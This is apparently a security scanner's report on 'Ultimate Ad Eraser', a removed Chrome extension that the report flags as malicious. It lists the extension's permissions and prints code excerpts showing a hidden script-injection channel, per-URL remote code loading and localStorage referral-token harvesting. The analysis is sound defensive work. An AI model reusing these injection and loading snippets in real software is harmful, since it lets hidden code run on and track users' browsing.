Ultimate Ad Eraser

ID: hkmfdialkjnljbcnincgpollobclebaf

Could be malicious

Supported Languages

🇳🇱Dutch
🇺🇸English
🇫🇷French
🇩🇪German
🇮🇹Italian
🇪🇸Spanish

Extension Info & Metadata

Status
Removed
Version
2.0.0
Size
3.03 MB
Rating
3.6/5
Reviews
17
Users
100,000
Type
Extension
Updated
Jul 28, 2023
Category
Productivity Workflow
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
asevcuk865View Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
No
Mailbox exists
Yes
Total Extensions
1
Active
0
Obsolete
1
Listed
0
Unlisted
1
Total Users
100,000

Ultimate Ad Eraser - for blocking or altering online advertising in a web browser

🪄 Flawless Erasure: Our Eraser employs a delicate touch to ensure ads disappear seamlessly from your browsing experience. No longer will you be bothered by intrusive banners or pesky pop-ups disrupting your online journey. 💥 Gentle but Effective: Despite its gentleness, the Ultimate Ad Eraser is remarkably effective. It targets ads precisely, erasing them with subtlety and grace, without causing any disruptions to the websites you love. 👁️‍🗨️ Tailored Precision: Embrace the power to customize your ad-erasure preferences. The Eraser allows you to fine-tune its erasure techniques, enabling you to retain non-intrusive ads or support your favorite content creators while still maintaining an ad-free space. ⚡ Erasure Optimization: Witness the magic of optimized browsing as the Eraser works to speed up page loading times. By erasing resource-heavy ads, you’ll experience a smoother, faster, and more efficient online journey. 🔄 Effortless Integration: Seamlessly integrated into your browser, the Eraser works silently in the background, ensuring an uninterrupted browsing experience while it artfully eradicates ads. 💻 User-Friendly Erasure: The Eraser’s intuitive interface makes it easy for users of all levels to harness its powers. With just a few clicks, you can enjoy the serenity of ad-free browsing. 🔧 Constant Refinement: We are committed to perfection in the art of erasure. The Eraser receives regular updates, refining its techniques and enhancing its ability to maintain an ad-free digital realm. Embrace the elegance of erasure with the Ultimate Ad Eraser – where unwanted ads dissolve effortlessly, and your browsing canvas remains a pristine masterpiece. Experience the freedom of an ad-free digital world and enjoy the true beauty of uninterrupted browsing. 🌟🌐

Item
Type
Severity
Description
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
declarativeNetRequestWithHostAccess
Permission
Critical
This permission combines network request modification with host permissions. Rated Critical because it can modify requests for specific domains, potentially targeting sensitive websites with precise attack rules.
http://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
https://*/*
Host
Critical
Broad host access — the extension can read/modify content on every website.
webNavigation
Permission
High
This permission enables monitoring of all browser navigation events and transitions. Rated High because it can track every page visit, navigation method, and browsing pattern, potentially exposing sensitive browsing behavior and user activities.
Contextual Risk Factors
Risk Factor
High
The following context increases the overall risk:• 10% increase: Early script execution enables pre-emptive content manipulation
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
unlimitedStorage
Permission
Medium
This permission removes storage quota restrictions. Rated Medium because it can store large amounts of user data without limits, potentially impacting browser performance and storing extensive tracking data.
Early Content Script Execution
Risk Factor
Medium
This extension runs content scripts at document_start.
contextMenus
Permission
Low
This permission adds items to browser context menus. Rated Medium because it only modifies right-click menus without access to page content.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

The web-accessible script reads raw JavaScript from a DOM element with an obfuscated numeric id ('8740202947562848') and injects it into the page as an executable <script> tag in the page's main world. This is an arbitrary-JS execution primitive that bypasses Manifest V3's prohibition on remote code: whatever text the content script places in that span runs with the page's full privileges. The randomly-named injection id and the immediate parentNode.removeChild are classic stealth tricks to hide the injected script from page inspection.

webAccessibleResources.js (Line 5)
(() => {  var _a;  const jsRules = (_a = document.getElementById('8740202947562848')) === null || _a === void 0 ? void 0 : _a    .textContent;  if (!injected && jsRules) {    const id = 'sdjfiojsd542fdf32dggf12jkyirx31';    if (!document.getElementById(id)) {      const scriptTag = document.createElement('script');      scriptTag.textContent = jsRules;      scriptTag.id = id;      scriptTag.setAttribute('type', 'text/javascript');      (document.head || document.documentElement)      .appendChild(scriptTag);      if (scriptTag.parentNode) {        scriptTag.parentNode.removeChild(scriptTag);      }    }    injected = true;  }})();

The content script requests a 'rulesString' from the service worker (GET_AMOUNT_BLOCKERS) keyed on the current page URL, wraps the returned string in a try/catch, and hands it to webAccessibleResources.js which evals it via <script>.textContent. Because the payload is fetched per-URL at document_start on every http(s) page (all_frames) and the service worker can source it from anywhere (remote server, remote config, etc.), this is effectively remote-code-loading into every website the user visits — an ad-eraser does not legitimately need dynamic per-site JS evaluation on 100k users' browsing. The span id '8740202947562848' is the handoff channel between the isolated content world and the page main world.

contentScript.js (Line 7367)
try {  const rulesString = yield senderMsg(MESSAGE.GET_AMOUNT_BLOCKERS, {    url: document.location.href,  });  if (chrome.runtime.lastError || !rulesString.length)    return;  const span = document.createElement('span');  span.id = '8740202947562848';  span.textContent = `try {${rulesString};} catch (error) {console.log(error)}`;  const parent = document.head || document.documentElement;  parent.appendChild(span);  const injectScript = document.createElement('script');  injectScript.setAttribute('type', 'text/javascript');  injectScript.src = chrome.runtime.getURL('/webAccessibleResources.js');  parent.appendChild(injectScript);} catch (e) {  console.log(e);}

On every http(s) page load the content script polls localStorage every 250ms for a key named 'activeCurrP' and forwards its value to the service worker via the REF message. This harvests a referral/tracking token that another page previously wrote into localStorage and reports it back to the extension backend — a partner/affiliate tracking / monetization mechanism typical of covert referrer-hijacking, not ad blocking. Running on all frames and all URLs with broad host permissions amplifies the exposure.

contentScript.js (Line 7355)
(() => contentScript_awaiter(void 0, void 0, void 0, function*() {      const getActiveLink = setInterval(() => {        try {          const ref = localStorage.getItem('activeCurrP');          if (ref) {            senderMsg(MESSAGE.REF, {              ref            });            clearInterval(getActiveLink);          }        } catch (err) {}      }, 250);

The message surface between content script and service worker exposes a GET_AMOUNT_BLOCKERS channel whose response is executed as JavaScript in the page context. Because serviceWorker.js is not shipped in this bundle, the ultimate source of the executed code is not auditable from the extension files alone — the architecture is designed to let the backend push arbitrary JS per URL. This indirection (content script asks backend → backend replies with code → page evals code) is a hallmark of extensions that retain the ability to silently re-purpose themselves after Chrome Web Store review.

contentScript.js (Line 6985)
MESSAGE["REF"] = "REF";MESSAGE["REPORT_AD"] = "REPORT_AD";MESSAGE["GET_INFO"] = "GET_INFO";MESSAGE["GET_AMOUNT_BLOCKERS"] = "GET_AMOUNT_BLOCKERS";MESSAGE["SWITCH_EXTENSION_STATUS"] = "SWITCH_EXTENSION_STATUS";MESSAGE["SHOW_SNACKBAR"] = "SHOW_SNACKBAR";})(MESSAGE || (MESSAGE = {}));

By severity

Critical2
High2
Medium0
Low0

Versions scanned

Showing 1 of 1 scanned version with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
2.0.04

Files with findings

2 distinct paths — top paths by unique finding count:

  • contentScript.js3
  • webAccessibleResources.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Code Injection
critical
webAccessibleResources.js (line 5)The web-accessible script reads raw JavaScript from a DOM element with an obfuscated numeric id ('8740202947562848') and injects it into the page as an executable <script> tag in the page's main world. This is an arbi…
2Remote Code Loading
critical
contentScript.js (line 7367)The content script requests a 'rulesString' from the service worker (GET_AMOUNT_BLOCKERS) keyed on the current page URL, wraps the returned string in a try/catch, and hands it to webAccessibleResources.js which evals …
3Remote Code Loading
high
contentScript.js (line 6985)The message surface between content script and service worker exposes a GET_AMOUNT_BLOCKERS channel whose response is executed as JavaScript in the page context. Because serviceWorker.js is not shipped in this bundle,…
4Tracking
high
contentScript.js (line 7355)On every http(s) page load the content script polls localStorage every 250ms for a key named 'activeCurrP' and forwards its value to the service worker via the REF message. This harvests a referral/tracking token that…
URLs
175
IPv4
57
IPv6
1

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

mozilla.org/MPL/2.0/http://mozilla.org/MPL/2.0/.
developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessagehttps://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage
github.com/mozilla/webextension-polyfill/issues/130https://github.com/mozilla/webextension-polyfill/issues/130
github.com/AdguardTeam/ExtendedCsshttps://github.com/AdguardTeam/ExtendedCss
www.apache.org/licenses/LICENSE-2.0http://www.apache.org/licenses/LICENSE-2.0
github.com/AdguardTeam/ExtendedCss/issues/127https://github.com/AdguardTeam/ExtendedCss/issues/127
developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexphttps://developer.mozilla.org/en/JavaScript/Reference/Global_Objects/regexp
github.com/AdguardTeam/FingerprintingBlocker/blob/master/src/shared/url.tshttps://github.com/AdguardTeam/FingerprintingBlocker/blob/master/src/shared/url.ts#L64
github.com/kriskowal/asap/blob/master/browser-raw.jshttps://github.com/kriskowal/asap/blob/master/browser-raw.js#L140}
github.com/Polymer/WeakMap%7Dhttps://github.com/Polymer/WeakMap}
Showing 1 to 10 of 180 rows
Rows per page:

Gain full insight into all external connections.

Upgrade for full visibility.

5.188.62.157
IPv4
-
188.72.219.36
IPv4
-
173.212.233.209
IPv4
-
158.69.120.31
IPv4
-
1.4.2.1
IPv4
-
111.90.150.149
IPv4
-
111.90.159.132
IPv4
-
173.249.49.204
IPv4
-
117.254.84.212
IPv4
-
35.232.188.118
IPv4
-
35.224.227.218
IPv4
-
34.70.28.179
IPv4
-
139.99.120.222
IPv4
-
185.165.169.108
IPv4
-
23.109.87.42
IPv4
-
162.252.214.4
IPv4
-
167.99.31.227
IPv4
-
203.195.121.11
IPv4
-
23.109.87.101
IPv4
-
37.1.209.213
IPv4
-
51.77.227.100
IPv4
-
51.77.227.101
IPv4
-
51.77.227.102
IPv4
-
51.77.227.103
IPv4
-
51.77.227.96
IPv4
-
51.77.227.97
IPv4
-
51.77.227.98
IPv4
-
51.77.227.99
IPv4
-
51.89.187.136
IPv4
-
51.89.187.137
IPv4
-
51.89.187.138
IPv4
-
51.89.187.139
IPv4
-
51.89.187.140
IPv4
-
51.89.187.141
IPv4
-
51.89.187.142
IPv4
-
51.89.187.143
IPv4
-
167.206.10.148
IPv4
-
142.91.159.107
IPv4
-
143.244.184.39
IPv4
-
146.59.223.83
IPv4
-
176.31.68.242
IPv4
-
185.147.34.126
IPv4
-
23.109.150.101
IPv4
-
23.109.82.104
IPv4
-
23.109.82.74
IPv4
-
23.109.87.71
IPv4
-
5.45.79.15
IPv4
-
51.178.195.171
IPv4
-
51.195.115.102
IPv4
-
51.89.115.13
IPv4
-
127.0.0.1
IPv4
-
1.2.3.4
IPv4
-
13.3.3.7
IPv4
-
0.0.0.0
IPv4
-
192.168.1.13
IPv4
-
1.1.1.1
IPv4
-
255.255.255.255
IPv4
-
1:2:3:4:5:6:7:8
IPv6
-
Showing 1 to 58 of 60 rows
Rows per page:
Version
Size
Is Malicious
Findings
Permhash
2.0.0
Latest
3.03 MB
Malicious
4
Showing 1 to 1 of 10 rows
Rows per page:

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.